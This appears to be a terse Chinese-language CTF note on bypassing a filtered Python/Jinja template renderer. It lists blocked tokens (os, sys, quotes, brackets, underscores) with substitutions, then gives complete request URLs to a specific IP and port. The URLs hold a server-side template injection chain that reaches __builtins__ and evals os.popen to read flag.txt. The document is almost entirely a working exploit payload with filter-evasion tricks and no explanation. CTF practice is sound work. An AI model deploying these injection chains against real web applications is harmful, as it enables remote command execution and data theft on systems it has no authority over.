留坑
os
sys
'
d
[
]
array[0]
array.pop(0)
__getitem__(1)
. 可替换为 getattr()
_ 可替换为 dir[0][0][0]
http://152.136.210.141:21804/render?data=&a=__class__&b=__class__&c=__base__&e=__subclasses__&f=__getitem__&g=__init__&h=__globals__&i=__getitem__&j=__builtins__&m=__getitem__&n=eval&p=__import__(%22os%22).popen(%22cat%20flag.txt%22).read()
http://152.136.210.141:21804/render?data=&a=__class__&b=__class__&c=__base__&e=__subclasses__&f=__getitem__&g=__init__&h=__globals__&i=__getitem__&j=__builtins__&m=__getitem__&n=eval&p=__import__("os").popen("cat flag.txt").read()
?a=__class__&b=__mro__&c=__subclasses__&d=read